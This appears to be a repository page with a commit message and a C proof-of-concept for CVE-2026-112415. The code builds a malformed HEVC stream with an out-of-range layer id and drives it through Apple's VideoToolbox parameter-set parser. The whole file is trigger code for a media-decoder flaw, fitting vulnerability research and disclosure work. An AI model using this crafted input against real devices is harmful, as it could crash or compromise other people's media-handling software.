JBJF
7949c7ce9f
- 31 C POC files, one per CVE folder: full seed construction + trigger + main(), self-contained, no app dependency. All compile clean with clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded oracle on this host. - CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the mechanism behind the cm.rpu death oracle on the simulator build. - Harness fixes: glyphCount guard, MachOInspector size guard, ModTools clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display. - POC comments rewritten English-only (31 swift + arc.rr + 5 py). - README (en/zh): C twin column, .c anatomy section, compile/run examples, C oracle verification status. - Dead if-let binding removed from Identity summary; v2.0 build 3.
69 lines
2.9 KiB
C
69 lines
2.9 KiB
C
// vid.hevc · AVD.videodecoder plugin · CVE-2026-112415
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// HEVC layer id outside the validated range
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// C twin of the Swift POC: builds the bad-layer-id HEVC stream and drives it through
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// CMVideoFormatDescriptionCreateFromHEVCParameterSets.
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// Build: clang -O2 -o cve-2026-112415 CVE-2026-112415.c -framework VideoToolbox -framework CoreMedia -framework CoreFoundation
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// Run: ./cve-2026-112415 [layer-id]
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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// ── byte buffer ──
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typedef struct { uint8_t *d; size_t n, cap; } buf;
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static void bneed(buf *b, size_t extra) {
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if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
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}
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static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
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static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; }
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static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }
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// ── seed construction (from Cinder27 Sources: VideoPayload.hevcBadLayerID) ──
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static buf hevc_bad_layer_id(uint8_t layer_id) {
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buf out = {0};
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bcat(&out, "\x00\x00\x00\x01", 4); // Annex-B start code
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// VPS NAL, two-byte header carrying the out-of-range layer id
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bcat(&out, (uint8_t[]){0x40, 0x01, layer_id, 0x0C, 0x01, 0xFF, 0xFF, 0x01, 0x60}, 9);
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bcat(&out, "\x00\x00\x00\x01", 4);
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bcat(&out, (uint8_t[]){0x42, 0x01, layer_id, 0x01, 0x60, 0x00}, 6); // SPS
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brep(&out, 0, 16);
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return out;
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}
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// ── trigger: parameter-set parse through VideoToolbox ──
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#include <VideoToolbox/VideoToolbox.h>
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#include <CoreMedia/CoreMedia.h>
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#include <CoreFoundation/CoreFoundation.h>
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int main(int argc, char **argv) {
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uint8_t layer_id = argc > 1 ? (uint8_t)strtoul(argv[1], NULL, 0) : 0x3F;
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buf data = hevc_bad_layer_id(layer_id);
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FILE *f = fopen("hevc_bad_layer.hevc", "wb");
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if (f) { fwrite(data.d, 1, data.n, f); fclose(f); }
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CMFormatDescriptionRef format = NULL;
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const uint8_t *ptr = data.d;
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OSStatus status = CMVideoFormatDescriptionCreateFromHEVCParameterSets(
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kCFAllocatorDefault,
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1, // one parameter set: the whole buffer
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&ptr,
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(size_t[]){data.n},
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4, // 4-byte NAL unit header length
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NULL,
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&format);
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printf("CVE-2026-112415 · layer id 0x%02x · OSStatus %d\n", layer_id, (int)status);
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if (format) {
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CMVideoDimensions dims = CMVideoFormatDescriptionGetDimensions(format);
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printf("decoder accepted the parameter set · dimensions %d x %d\n", dims.width, dims.height);
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CFRelease(format);
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} else {
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printf("no format description produced (rejected at entry)\n");
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}
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printf("seed: hevc_bad_layer.hevc (%zu B) · exit code %d\n", data.n, (int)(status == noErr ? 0 : 1));
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int rc = status == noErr ? 0 : 1;
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bfree(&data);
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return rc;
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}
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